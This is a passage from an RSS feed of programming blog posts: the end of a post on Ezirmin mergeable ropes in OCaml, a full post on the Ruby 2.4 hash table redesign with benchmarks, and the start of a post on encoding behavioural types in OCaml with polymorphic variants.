  <span class="o">|</span> <span class="nc">None</span> <span class="o">-&gt;</span> <span class="n">failwith</span> <span class="s2">"impossible"</span>
  <span class="o">|</span> <span class="nc">Some</span> <span class="n">r</span> <span class="o">-&gt;</span> <span class="n">flush</span> <span class="n">r</span> <span class="o">&gt;|=</span> <span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span>
  <span class="nn">Printf</span><span class="p">.</span><span class="n">printf</span> <span class="s2">"m is </span><span class="se">\"</span><span class="s2">%s</span><span class="se">\"\n</span><span class="s2">"</span> <span class="n">s</span>
<span class="p">);;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">m</span> <span class="n">is</span> <span class="s2">"ayxc"</span>
<span class="n">utop</span> <span class="o">#</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span>
  <span class="n">read</span> <span class="n">w</span> <span class="bp">[]</span> <span class="o">&gt;&gt;=</span> <span class="k">function</span>
  <span class="o">|</span> <span class="nc">None</span> <span class="o">-&gt;</span> <span class="n">failwith</span> <span class="s2">"impossible"</span>
  <span class="o">|</span> <span class="nc">Some</span> <span class="n">r</span> <span class="o">-&gt;</span> <span class="n">flush</span> <span class="n">r</span> <span class="o">&gt;|=</span> <span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span>
  <span class="nn">Printf</span><span class="p">.</span><span class="n">printf</span> <span class="s2">"w is </span><span class="se">\"</span><span class="s2">%s</span><span class="se">\"\n</span><span class="s2">"</span> <span class="n">s</span>
<span class="p">)</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">w</span> <span class="n">is</span> <span class="s2">"ayxc"</span>
</code></pre></div></div>

<p>The combination of mergeable ropes with OT gets the best of both worlds.
Compared to a purely OT based implementation, diffs are only computed if updates
conflict at the leaves. The representation using ropes is also efficient in
terms of storage where multiple versions of the tree shares blocks. A purely
rope based implementation either has the option of storing individual characters
(atoms) at the leaves (and resolve conflicts based on some deterministic
mechanism such as timestamps or other deterministic strategies) or manifest the
conflict at the leaves to the user to get it resolved. A simple strategy might
be to present both of the conflicting strings, and ask the user to resolve it.
Hence, mergeable ropes + OT is strictly better than either of the approaches.</p>

<h1 id="next-steps">Next steps</h1>

<p>Ezirmin is open to comments and contributions. Next steps would be:</p>

<ul>
  <li>Implement more mergeable data types</li>
  <li>Implement generic mergeable datatypes using <a href="https://github.com/samoht/depyt">depyt</a>.</li>
  <li>Explore the data types which admit conflicts. For example, a bank account with
non-negative balance does not form a CRDT with a <code class="language-plaintext highlighter-rouge">withdraw</code> operation. However,
operations such as <code class="language-plaintext highlighter-rouge">deposit</code> and <code class="language-plaintext highlighter-rouge">accrue_interest</code> can be coordination-free.</li>
</ul>

<h1 class="no_toc" id="footnotes">Footnotes</h1>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:irmin" role="doc-endnote">
      <p>Things are indeed improving with a cleaner API in the <a href="https://github.com/mirage/irmin/pull/397">1.0 release</a>. <a href="#fnref:irmin" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:push" role="doc-endnote">
      <p>Push is currently <a href="https://github.com/mirage/irmin/issues/379">broken</a>. But given that Irmin is compatible with git, one can use <code class="language-plaintext highlighter-rouge">git-push</code> to publish changes. <a href="#fnref:push" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:blockchain" role="doc-endnote">
      <p>The same principle underlies the irrefutability of <a href="https://en.wikipedia.org/wiki/Blockchain_(database)">blockchain</a>. No block can be changed without reflecting the change in every subsequent block. <a href="#fnref:blockchain" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Behind the scenes of hash table performance in ruby 2.4]]></title>
            <link>https://aboobacker.in/2017/01/30/behind-scenes-hash-table-performance-ruby-2-4.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2017/01/30/behind-scenes-hash-table-performance-ruby-2-4.html</guid>
            <pubDate>Mon, 30 Jan 2017 04:00:13 GMT</pubDate>
            <description><![CDATA[Ruby 2.4 got released this Christmas with lot of exciting features. One of the most underrated features in ruby 2.4 is hash table improvements. Before going into details about implementation, let’s first check the benchmark to know how this change gonna affect your ruby application.
Getting keys and values of a hash

h = {}

10000.times do |i|
  h[i] = nil
end

# Get all hash values
Benchmark.measure { 50000.times { h.values } }

# Get all hash keys
Benchmark.measure { 50000.times { h.keys } }


Ruby 2.3

=> #<Benchmark::Tms:0x00000002a0f990 @label="", @real=2.8023432340005456, @cstime=0.0, @cutime=0.0, @stime=0.13000000000000012, @utime=2.6799999999999997, @total=2.8099999999999996>
#<Benchmark::Tms:0x00000002963398 @label="", @real=2.767410662000657, @cstime=0.0, @cutime=0.0, @stime=0.029999999999999805, @utime=2.729999999999997, @total=2.7599999999999967>


Ruby 2.4

#<Benchmark::Tms:0x0000000226d700 @label="", @real=0.8854832770002758, @cstime=0.0, @cutime=0.0, @stime=0.08999999999999997, @utime=0.7999999999999998, @total=0.8899999999999998>
#<Benchmark::Tms:0x000000022b1018 @label="", @real=0.8476084579997405, @cstime=0.0, @cutime=0.0, @stime=0.06999999999999995, @utime=0.7799999999999994, @total=0.8499999999999993>


the above two operations executed ~ 3 times faster on my laptop. Though these numbers can vary with your machine and processor, the performance improvements will be significant on all modern processors. Not all operations became 3 times faster , average perfomence improvement is more than 50%.
Hash Table

In computing, hash table (hash map) is a data structure that is used to implement an associative array, a structure that can map keys to values. Hash table uses a hash function to compute an index into an array of buckets or slots, from which the desired value can be found. Wikipedia


In other words, it is a data structure that allows you to store key value pair and helps to fetch specific data using the key in an efficient way. Unlike arrays, you don’t have to iterate through all elements to find a given element in the hash. If you are new to this data structure, check this s50 for the better understanding.

hash = {key1: value1, key2: value2}


Pre Ruby 2.4
Let’s first check how ruby implemented Hash in pre 2.4 old hash representation , hash table

Ruby internally uses a structure called st_table to represent hash. st_table contains type, the number of bins, the number of entries and pointers to bin array. Bin array is an array with 11 default size and can grow when required. Let’s take an example of hash and see how it will be represented using above diagram.

sample_hash = {a: 10, b: 20, c: 30, d: 40, e: 50}


Let’s take keys :c and :d
Step 1:
First thing ruby does is it will take the hash of the key using the internal hash function.

2.3.1 :075 > :c.hash
=> 2782
2.3.1 :076 > :d.hash
=> 2432


Step 2:
After getting the hash value, result ?it  takes modulo of 11 to get figure in which bin ruby can store the given pair

2.3.1 :073 > :c.hash % 11
=> 10
2.3.1 :074 > :d.hash % 11
=> 1


This means we can put :c => 30 in 10’th bin and :d in 1st bin
Step 3
What if there are multiple modulo operations that give the same result? This is called hash collision. To resolve this, ruby uses a separate chaining approach  i.e, it will make a doubly linked list and add it to the existing value in the bin
Step 4
What if the hash is too large ?? Linked list will start growing and will make the hash slower. So, ruby will allocate more bins and do an operation called Rehashing to utilise newly added bins.
Improvements in 2.0
In ruby 2.0, Ruby eliminated the need for extra data structures for smaller hashes and uses linear search for better performance.
Improvements in 2.2
In 2.2.0, Ruby has used bin array sizes that correspond to powers of two (16, 32, 64, 128, …).
Changes in 2.4
new hash structure in ruby 2.4 , hash table

Source: https://github.com/ruby/ruby/blob/trunk/st.c
In ruby 2.4, Hash table is moved to open addressing model i.e, we no longer have the separate doubly linked list for collision resolution. Here, we will be storing records in the entries array itself i.e, there is no need of pointer chasing and data will be stored in the adjacent memory location (Data locality). The hash table has two arrays called bins and entries. Entry array contains hash entries in the order of insertion and the bin array provides access to entry the by their keys. The key hash is mapped to a bin containing the index of the corresponding entry in the entry array.
Inserting entries in Hash
Step 1:
Ruby will insert an entry to entries array in sequential order.
Step 2:
Ruby will identify the bin from which the entry is to be mapped. Ruby uses first few bits of the hash as the bin index, Explaining the whole process is beyond the scope of this article. You can check the logic in MRI source code here
Accessing element by key
Let’s examine it with a sample hash **

sample_hash = {a: 10, b: 20, c: 30, d: 40, e: 50}


Here, ruby will create two internal arrays, entries and bins as shown below

entries = [[2297,a,10], [451,b,20], [2782,c,30], [2432,d,40],[1896,e,50]]


each record in entries array will contain a hash, key, and value respectively
Default bin size in ruby is 16 so Bins array for the above hash will be somewhat like this

bins = [
3,
nil,
nil,
nil,
1,
nil,
nil,
nil,
5,
0,
nil,
nil,
nil,
nil,
2,
nil
]


Now what if we want to fetch an element from hash, say ‘c’

sample_hash[:c]


Step 1:
Find the hash using ruby’s internal hash function

:c.hash
2782


Step 2
Find the location in bin array by using find bin method

find_bin(2782)


Step 3
Find the location entries array using bin array

bins[14] => 2


Step 4. Find the entry using the key we got

entries[2] => [2782,c,30]


Deleting an item
Now we have value for the key ‘c’ without iterating through all the records
Deleting an item
If the item to be deleted is first one, then ruby will change the index of ‘current first entry ‘, otherwise ruby will mark the item as reserved using a reserved hash value.
In the ruby source code, DELETED is marked using 0 and EMPTY is marked using 1.
To summarise this approach made hash implementation in ruby faster because the new bins array stores much smaller reference to the entries instead of storing entries themselves. Hence, it can take advantage of the modern processor caching levels
** Small hashes will use the linear search to find entries from ruby 2.0 onwards to avoid extra overhead and improve performance. Given example is just for reference only.
References
https://bugs.ruby-lang.org/issues/12142
https://blog.heroku.comruby-2-4-features-hashes-integers-rounding#hash-changes
https://en.wikipedia.org/wiki/Hash_table
http://patshaughnessy.net/ruby-under-a-microscope]]></description>
            <content:encoded><![CDATA[<p>Ruby 2.4 got released this Christmas with lot of exciting features. One of the most underrated features in ruby 2.4 is hash table improvements. Before going into details about implementation, let’s first check the benchmark to know how this change gonna affect your ruby application.</p>

<ul>
  <li>Getting keys and values of a hash</li>
</ul>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">h</span> <span class="o">=</span> <span class="p">{}</span>

<span class="mi">10000</span><span class="p">.</span><span class="nf">times</span> <span class="k">do</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span>
  <span class="n">h</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="kp">nil</span>
<span class="k">end</span>

<span class="c1"># Get all hash values</span>
<span class="no">Benchmark</span><span class="p">.</span><span class="nf">measure</span> <span class="p">{</span> <span class="mi">50000</span><span class="p">.</span><span class="nf">times</span> <span class="p">{</span> <span class="n">h</span><span class="p">.</span><span class="nf">values</span> <span class="p">}</span> <span class="p">}</span>

<span class="c1"># Get all hash keys</span>
<span class="no">Benchmark</span><span class="p">.</span><span class="nf">measure</span> <span class="p">{</span> <span class="mi">50000</span><span class="p">.</span><span class="nf">times</span> <span class="p">{</span> <span class="n">h</span><span class="p">.</span><span class="nf">keys</span> <span class="p">}</span> <span class="p">}</span>
</code></pre></div></div>

<p>Ruby 2.3</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; #&lt;Benchmark::Tms:0x00000002a0f990 @label="", @real=2.8023432340005456, @cstime=0.0, @cutime=0.0, @stime=0.13000000000000012, @utime=2.6799999999999997, @total=2.8099999999999996&gt;
#&lt;Benchmark::Tms:0x00000002963398 @label="", @real=2.767410662000657, @cstime=0.0, @cutime=0.0, @stime=0.029999999999999805, @utime=2.729999999999997, @total=2.7599999999999967&gt;
</code></pre></div></div>

<p>Ruby 2.4</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#&lt;Benchmark::Tms:0x0000000226d700 @label="", @real=0.8854832770002758, @cstime=0.0, @cutime=0.0, @stime=0.08999999999999997, @utime=0.7999999999999998, @total=0.8899999999999998&gt;
#&lt;Benchmark::Tms:0x000000022b1018 @label="", @real=0.8476084579997405, @cstime=0.0, @cutime=0.0, @stime=0.06999999999999995, @utime=0.7799999999999994, @total=0.8499999999999993&gt;
</code></pre></div></div>

<p>the above two operations executed ~ 3 times faster on my laptop. Though these numbers can vary with your machine and processor, the performance improvements will be significant on all modern processors. Not all operations became 3 times faster , average perfomence improvement is more than 50%.</p>

<h3 id="hash-table">Hash Table</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In computing, hash table (hash map) is a data structure that is used to implement an associative array, a structure that can map keys to values. Hash table uses a hash function to compute an index into an array of buckets or slots, from which the desired value can be found. Wikipedia
</code></pre></div></div>

<p>In other words, it is a data structure that allows you to store key value pair and helps to fetch specific data using the key in an efficient way. Unlike arrays, you don’t have to iterate through all elements to find a given element in the hash. If you are new to this data structure, check this <a href="https://www.youtube.com/watch?v=h2d9b_nEzoA">s50</a> for the better understanding.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">hash</span> <span class="o">=</span> <span class="p">{</span><span class="ss">key1: </span><span class="n">value1</span><span class="p">,</span> <span class="ss">key2: </span><span class="n">value2</span><span class="p">}</span>
</code></pre></div></div>

<h3 id="pre-ruby-24">Pre Ruby 2.4</h3>

<p>Let’s first check how ruby implemented Hash in pre 2.4 old hash representation , hash table</p>

<p><img src="https://aboobacker.in/images/prehash.png" alt="Pre hash" /></p>

<p>Ruby internally uses a structure called st_table to represent hash. st_table contains type, the number of bins, the number of entries and pointers to bin array. Bin array is an array with 11 default size and can grow when required. Let’s take an example of hash and see how it will be represented using above diagram.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sample_hash</span> <span class="o">=</span> <span class="p">{</span><span class="ss">a: </span><span class="mi">10</span><span class="p">,</span> <span class="ss">b: </span><span class="mi">20</span><span class="p">,</span> <span class="ss">c: </span><span class="mi">30</span><span class="p">,</span> <span class="ss">d: </span><span class="mi">40</span><span class="p">,</span> <span class="ss">e: </span><span class="mi">50</span><span class="p">}</span>
</code></pre></div></div>

<p>Let’s take keys :c and :d</p>

<h4 id="step-1">Step 1:</h4>

<p>First thing ruby does is it will take the hash of the key using the internal hash function.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2.3.1 :075 &gt; :c.hash
=&gt; 2782
2.3.1 :076 &gt; :d.hash
=&gt; 2432
</code></pre></div></div>

<h4 id="step-2">Step 2:</h4>
<p>After getting the hash value, result ?it  takes modulo of 11 to get figure in which bin ruby can store the given pair</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2.3.1 :073 &gt; :c.hash % 11
=&gt; 10
2.3.1 :074 &gt; :d.hash % 11
=&gt; 1
</code></pre></div></div>

<p>This means we can put :c =&gt; 30 in 10’th bin and :d in 1st bin</p>

<h4 id="step-3">Step 3</h4>

<p>What if there are multiple modulo operations that give the same result? This is called hash collision. To resolve this, ruby uses a separate chaining approach  i.e, it will make a doubly linked list and add it to the existing value in the bin</p>

<h4 id="step-4">Step 4</h4>

<p>What if the hash is too large ?? Linked list will start growing and will make the hash slower. So, ruby will allocate more bins and do an operation called Rehashing to utilise newly added bins.</p>

<h5 id="improvements-in-20">Improvements in 2.0</h5>

<p>In ruby 2.0, Ruby eliminated the need for extra data structures for smaller hashes and uses linear search for better performance.</p>

<h5 id="improvements-in-22">Improvements in 2.2</h5>

<p>In 2.2.0, Ruby has used bin array sizes that correspond to powers of two (16, 32, 64, 128, …).</p>

<h3 id="changes-in-24">Changes in 2.4</h3>
<p>new hash structure in ruby 2.4 , hash table
<img src="https://aboobacker.in/images/prehash.png" alt="Pre hash" />
Source: https://github.com/ruby/ruby/blob/trunk/st.c</p>

<p>In ruby 2.4, Hash table is moved to open addressing model i.e, we no longer have the separate doubly linked list for collision resolution. Here, we will be storing records in the entries array itself i.e, there is no need of pointer chasing and data will be stored in the adjacent memory location (Data locality). The hash table has two arrays called bins and entries. Entry array contains hash entries in the order of insertion and the bin array provides access to entry the by their keys. The key hash is mapped to a bin containing the index of the corresponding entry in the entry array.</p>

<h3 id="inserting-entries-in-hash">Inserting entries in Hash</h3>

<h4 id="step-1-1">Step 1:</h4>

<p>Ruby will insert an entry to entries array in sequential order.</p>

<h4 id="step-2-1">Step 2:</h4>

<p>Ruby will identify the bin from which the entry is to be mapped. Ruby uses first few bits of the hash as the bin index, Explaining the whole process is beyond the scope of this article. You can check the logic in MRI source code <a href="https://github.com/ruby/ruby/blob/ruby_2_4/st.c#L962">here</a></p>

<h3 id="accessing-element-by-key">Accessing element by key</h3>

<p>Let’s examine it with a sample hash **</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sample_hash</span> <span class="o">=</span> <span class="p">{</span><span class="ss">a: </span><span class="mi">10</span><span class="p">,</span> <span class="ss">b: </span><span class="mi">20</span><span class="p">,</span> <span class="ss">c: </span><span class="mi">30</span><span class="p">,</span> <span class="ss">d: </span><span class="mi">40</span><span class="p">,</span> <span class="ss">e: </span><span class="mi">50</span><span class="p">}</span>
</code></pre></div></div>

<p>Here, ruby will create two internal arrays, entries and bins as shown below</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">entries</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">2297</span><span class="p">,</span><span class="n">a</span><span class="p">,</span><span class="mi">10</span><span class="p">],</span> <span class="p">[</span><span class="mi">451</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="mi">20</span><span class="p">],</span> <span class="p">[</span><span class="mi">2782</span><span class="p">,</span><span class="n">c</span><span class="p">,</span><span class="mi">30</span><span class="p">],</span> <span class="p">[</span><span class="mi">2432</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="mi">40</span><span class="p">],[</span><span class="mi">1896</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="mi">50</span><span class="p">]]</span>
</code></pre></div></div>

<p>each record in entries array will contain a hash, key, and value respectively</p>

<p>Default bin size in ruby is 16 so Bins array for the above hash will be somewhat like this</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bins</span> <span class="o">=</span> <span class="p">[</span>
<span class="mi">3</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="mi">1</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="mi">5</span><span class="p">,</span>
<span class="mi">0</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="kp">nil</span><span class="p">,</span>
<span class="mi">2</span><span class="p">,</span>
<span class="kp">nil</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Now what if we want to fetch an element from hash, say ‘c’</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sample_hash</span><span class="p">[</span><span class="ss">:c</span><span class="p">]</span>
</code></pre></div></div>

<h4 id="step-1-2">Step 1:</h4>

<p>Find the hash using ruby’s internal hash function</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:c.hash
2782
</code></pre></div></div>

<h4 id="step-2-2">Step 2</h4>

<p>Find the location in bin array by using find bin method</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find_bin(2782)
</code></pre></div></div>

<h4 id="step-3-1">Step 3</h4>

<p>Find the location entries array using bin array</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bins[14] =&gt; 2
</code></pre></div></div>

<h4 id="step-4-find-the-entry-using-the-key-we-got">Step 4. Find the entry using the key we got</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>entries[2] =&gt; [2782,c,30]
</code></pre></div></div>
<h3 id="deleting-an-item">Deleting an item</h3>
<p>Now we have value for the key ‘c’ without iterating through all the records
Deleting an item</p>

<p>If the item to be deleted is first one, then ruby will change the index of ‘current first entry ‘, otherwise ruby will mark the item as reserved using a reserved hash value.</p>

<p>In the ruby source code, DELETED is marked using 0 and EMPTY is marked using 1.</p>

<p>To summarise this approach made hash implementation in ruby faster because the new bins array stores much smaller reference to the entries instead of storing entries themselves. Hence, it can take advantage of the modern processor caching levels</p>

<p>** Small hashes will use the linear search to find entries from ruby 2.0 onwards to avoid extra overhead and improve performance. Given example is just for reference only.</p>

<p>References</p>

<ul>
  <li><a href="">https://bugs.ruby-lang.org/issues/12142</a></li>
  <li><a href="">https://blog.heroku.comruby-2-4-features-hashes-integers-rounding#hash-changes</a></li>
  <li><a href="">https://en.wikipedia.org/wiki/Hash_table</a></li>
  <li><a href="">http://patshaughnessy.net/ruby-under-a-microscope</a></li>
</ul>]]></content:encoded>
            <author>Aboobacker M K</author>
            <enclosure url="https://aboobacker.in/%7B%22feature%22=%3Enil%7D" length="0" type="image//%7B%22feature%22=%3Enil%7D"/>
        </item>
        <item>
            <title><![CDATA[Behavioural types]]></title>
            <link>https://kcsrk.info/ocaml/types/2016/06/30/behavioural-types/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/types/2016/06/30/behavioural-types/</guid>
            <pubDate>Thu, 30 Jun 2016 09:31:00 GMT</pubDate>
            <description><![CDATA[Behavioural types such as session types, contracts and choreography describe the
behaviour of a software entity as a sequence of operations on a resource such
as a communication channel, web service session or a file descriptor.
Behavioural types capture well-defined interactions, which are enforced
statically with the help of type system machinery. In this post, I will describe
a lightweight embedding of behavioural types in OCaml using polymorphic variants
through a series of examples. The complete source code for the examples is
available
here.
The idea of encoding behavioural types using polymorphic variants comes from
FuSe, which is a
simple library implementation of binary sessions in OCaml. Similar to FuSe
linear use of resources is enforced through dynamic checks in the following
examples. We’ll raise LinearityViolation when linearity is violated.

exception LinearityViolation


Refs that explain their work
Let us define a ref type that is constrained not only by the type of value
that it can hold but also by the sequence of operations that can be performed
on it.

module type Ref =
sig
  type ('a, 'b) ref constraint 'b = [>]

  val ref   : 'a -> ('a, 'b) ref
  val read  : ('a, [`Read of 'b]) ref -> 'a * ('a, 'b) ref
  val write : ('a, [`Write of 'b]) ref -> 'a -> ('a, 'b) ref
end

module Ref : Ref = struct ... end


The phantom type variable 'b constrained to be a polymorphic variant ('b =
[>]) describes the sequence of permitted operations. For example, a reference
can only be read when the type presents the read capability [`Read of 'b].
Here, the 'b represents the behaviour of the continuation. Consequently, the
result of the read operation is a tuple consisting of the value read and a
reference whose type is ('a,'b) ref. It is useful to think of the read
operation as changing the type of the reference. The type for write is
similar.
Associating behaviours with references is quite handy. For example, below is a
reference that holds an integer, which can only be written once following which
a single read is permitted:

let my_ref1 : (int, [`Write of [`Read of [`Stop]]]) Ref.ref = Ref.ref 10


The behavioural types are also automatically inferred. For example,

utop # let foo1 r =
  let r = Ref.write r 20 in
  Ref.read r;;
val foo1 :
  (int, [ `Write of [ `Read of [>  ] as 'a ] ]) Ref.ref ->
  int * (int, 'a) Ref.ref


The inferred type says that foo1 writes into r and then reads it. We can
apply foo1 on my_ref1 as their behaviours are compatible.

utop # let v,res_ref = foo1 my_ref1;;
val v : int = 20
val res_ref : (int, [ `Stop ]) Ref.ref


Recursive behavioural types are obtained painlessly.

utop # let rec foo2 r =
  let r = Ref.write r 20 in
  let v, r = Ref.read r in
  foo2 r;;
val foo2 : (int, [ `Write of [ `Read of 'a ] ] as 'a) Ref.ref -> 'b


The inferred types says that foo2 repeatedly writes and then reads the given
reference. Incompatible references are rejected statically. For example,

utop # let my_ref2 : (int, [`Write of [`Read of [`Stop]]]) Ref.ref = Ref.ref 10;;
val my_ref2 : (int, [ `Write of [ `Read of [ `Stop ] ] ]) Ref.ref = <abstr>
utop # let _ = foo2 my_ref2;;
Error: This expression has type
         (int, [ `Write of [ `Read of [ `Stop ] ] ]) Ref.ref
       but an expression was expected of type
         (int, [ `Write of [ `Read of 'a ] ] as 'a) Ref.ref
       These two variant types have no intersection


whereas

utop # let my_ref3 = Ref.ref 10;;
val my_ref3 : (int, _[>  ]) Ref.ref = <abstr>
utop # let _ = foo2 my_ref3;;


is accepted and runs forever. It is (sometimes) useful to write programs that
don’t always run forever such as foo3:

utop # let rec foo3 r = function
  | 0 ->
      print_endline "done";
      Ref.read r
  | n ->
      let r = Ref.write r 20 in
      let v, r = Ref.read r in
      foo3 r (n-1);;


which runs for n iterations, where it performs a write and a read in every
iteration but the last one where it just performs a read. Unfortunately, this
program does not type check:

Error: This expression has type ('a, [ `Read of [>  ] ]) Ref.ref
       but an expression was expected of type ('a, [ `Write of [>  ] ]) Ref.ref
       These two variant types have no intersection


The problem is that the behaviour of the two branches are incompatible, and the
program is rightly rejected. We distinguish the branches in the type using:

val branch : ('a, [>] as 'b) ref -> (('a, [>] as 'c) ref -> 'b) -> ('a, 'c) ref


branch r f indicates branch selection in r where f is a function that is
always of the form fun x ->  `Tag x. The fixed version of foo3 is:

utop # let rec foo3 r = function
  | 0 ->
      print_endline "done";
      Ref.write (Ref.branch r (fun x -> `Zero x)) 0
  | n ->
      let r = Ref.write (Ref.branch r (fun x -> `Succ x)) 20 in
      let v, r = Ref.read r in
      foo3 r (n-1);;
val foo3 :
  (int,
   [> `Succ of (int, [ `Write of [ `Read of 'a ] ]) Ref.ref
    | `Zero of (int, [ `Write of [>  ] as 'b ]) Ref.ref ]
   as 'a)
  Ref.ref -> int -> (int, 'b) Ref.ref = <fun>


Observe that the inferred type captures the branching behaviour, and works as
expected:

utop # let my_ref4 = Ref.ref 10 in foo3 my_ref4 32;;
done
- : (int, _[>  ]) Ref.ref = <abstr>


Implementation
The implementation is unremarkable except for the machinery to dynamically
enforce linearity.

module Ref : Ref =
struct

  type ('a, 'b) ref =
    {contents     : 'a;
     mutable live : bool} (* For linearity *)
     constraint 'b = [>]

  let ref v = {contents = v; live = true}

  let check r =
    if not r.live then raise LinearityViolation;
    r.live <- false

  let fresh r = {r with live = true}

  let read r =
    check r;
    (r.contents, fresh r)

  let write r v =
    check r;
    { contents = v; live = true }

  let branch r _ = check r; fresh r
end


Behavioural types crucially depend on linear use of the resources. Since OCaml
does not have linear types, there is nothing that prevents writing the following
function that seemingly violates the behavioural contract.

utop # let foo (r : (int, [`Read of [`Stop]]) Ref.ref) =
         let _, _ = Ref.read r in
         Ref.read r;;
val foo :
  (int, [ `Read of [ `Stop ] ]) Ref.ref -> int * (int, [ `Stop ]) Ref.ref =
  <fun>


While the type of r says that it will be read only once, the function foo
reads it twice. This non-linear use of r is caught dynamically; the second
read of r raises LinearityViolation.

utop # let _ = foo (Ref.ref 10);;
Exception: LinearityViolation.


Polymorphic References
Since we can accurately track the behaviour of references, we can safely allow
differently typed values to be written and read from the reference. A reference
that holds a value of type t can be read multiple times at t before being
written at type u. This protocol is captured by the following type:

module type PolyRef =
sig
  type ('a,'b) rw_prot
    constraint 'b = [> `Read of 'a * 'b | `Write of 'c * ('c,_) rw_prot]
  type 'c ref constraint 'c = ('a,'b) rw_prot
  ...
end


As before, the reference holds values of 'a with the behaviour given by 'b.
The reference can either by read multiple times at 'a or written once at 'c
after which the reference holds values of type 'c. The rest of the operations
are defined as usual:

module type PolyRef =
sig
  ...
  val ref  : 'a -> ('a,'b) rw_prot ref
  val read  : ('a,[> `Read of 'a * 'b]) rw_prot ref -> 'a * ('a,'b) rw_prot ref
  val write : ('a,[> `Write of 'b * ('b,'c) rw_prot]) rw_prot ref -> 'b ->
    ('b,'c) rw_prot ref
  val branch : ('a, [>] as 'b) rw_prot ref -> (('a, [>] as 'c) rw_prot ref -> 'b) ->
    ('a, 'c) rw_prot ref
end


We can now write interesting programs:

utop # let rec foo r =
  let v,r = read r in
  let r = write r (string_of_int (v+1)) in
  let v,r = read r in
  let r = write r (int_of_string v) in
  foo r;;
val foo :
  (int,
   [> `Read of int * 'a
    | `Write of
        string *
        (string,
         [> `Read of string * 'b | `Write of int * (int, 'a) rw_prot ] as 'b)
        rw_prot ]
   as 'a)
  rw_prot PolyRef.ref -> 'c = <fun>


Observe that foo reads r as a integer, updates it as a string, reads it as
a string and then finally writing an integer into it. The inferred type
reflects this change from int -> string -> int. The implementation of
polymorphic references uses the unsafe Obj.magic to coerce the contents.
However, the behavioural types ensure that accesses are safe.

module PolyRef : PolyRef =
struct
  type ('a,'b) rw_prot
    constraint 'b = [> `Read of 'a * 'b | `Write of 'c * ('c,_) rw_prot]

  type 'a ref =
    {contents     : 'b.'b;
     mutable live : bool} (* For linearity *)
     constraint 'a = ('b,'c) rw_prot

  let ref v = {contents = Obj.magic v; live = true}

  let check r =
    if not r.live then raise LinearityViolation;
    r.live <- false

  let fresh r = {r with live = true}

  let read r =
    check r;
    (Obj.magic r.contents, fresh r)

  let write r v =
    check r;
    { contents = Obj.magic v; live = true }

  let branch r _ = check r; fresh r
end


File descriptors
We can utilise behavioural types to apply meaningful restrictions to operations
on file descriptors.

module type File_descriptor = sig
  type 'a t constraint 'a = [>]

  val openfile : string -> Unix.open_flag list -> Unix.file_perm ->
    ([< `Close | `Write of 'a | `Read of 'a > `Close] as 'a) t
  val close : [> `Close] t -> unit
  val read : [> `Read of 'a] t -> bytes -> int -> int -> int * 'a t
  val write : [> `Write of 'a] t -> bytes -> int -> int -> int * 'a t
  val mk_read_only  : [> `Read of 'a] t -> ([`Close | `Read of 'a] as 'a) t
  val mk_write_only : [> `Write of 'a] t -> ([`Close | `Write of 'a] as 'a) t

  val open_stdin  : unit -> ([`Close | `Read of 'a] as 'a) t
  val open_stdout : unit -> ([`Close | `Write of 'a] as 'a) t
  val open_stderr : unit -> ([`Close | `Write of 'a] as 'a) t
end


The File_descriptor module is a thin wrapper around the file descriptors from
Unix module. The file descriptor obtained through openfile permits a subset
of operations to read, write and close. The precise set of capabilities is
dictated by the flags supplied. For example, with O_RDONLY the type of the
file descriptor obtained should be ([`Close | `Read of 'a] as 'a) t. The
